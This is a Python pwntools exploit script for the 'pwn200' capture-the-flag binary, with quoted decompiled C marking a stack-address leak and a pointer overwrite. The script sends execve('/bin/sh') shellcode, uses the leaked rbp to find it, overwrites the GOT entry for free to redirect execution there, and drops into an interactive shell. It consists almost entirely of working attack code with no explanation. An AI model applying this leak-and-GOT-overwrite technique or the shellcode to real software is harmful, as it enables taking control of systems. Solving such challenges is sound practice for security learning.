from pwn import *

'''
int sub_400A8E()
{
  signed __int64 i; // [sp+10h] [bp-40h]@1
  char v2[48]; // [sp+20h] [bp-30h]@2

  puts("who are u?");
  for ( i = 0LL; i <= 47; ++i )
  {
    read(0, &v2[i], 1uLL);
    if ( v2[i] == 10 )
    {
      v2[i] = 0;
      break;
    }
  }
  printf("%s, welcome to xdctf~\n", v2);        // leak rbp
  puts("give me your id ~~?");
  get_number();
  return sub_400A29();
}
'''


'''
int sub_400A29()
{
  char buf; // [sp+0h] [bp-40h]@1
  char *dest; // [sp+38h] [bp-8h]@1

  dest = (char *)malloc(0x40uLL);
  puts("give me money~");
  read(0, &buf, 0x40uLL); //overwirte dest
  strcpy(dest, &buf);    // write anything anywhere
  global_ptr = dest;
  return list();
}

    buf         dest
+-------------+------+
|  0x40 -0x8  | 0x8  |
+-------------+------+
'''

io = remote("127.0.0.1", 10002)

elf = ELF("./pwn200")

raw_input()

shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

io.recvuntil("who are u?\n")
payload = shellcode.ljust(48)
io.send(payload)
io.recvuntil(payload)
ret = io.recv()[:6]
rbp = u64(ret.ljust(8, "\x00"))


log.info(hex(rbp))

io.sendline("0")
io.recvuntil("give me money~\n")

shellcode_addr = rbp - 0x50
log.success("shellcode addr => {}".format(hex(shellcode_addr)))

payload  = p64(shellcode_addr)
payload  = payload.ljust(56, "\x00")
payload += p64(elf.got["free"])
io.send(payload)

io.sendline("2")
io.interactive()
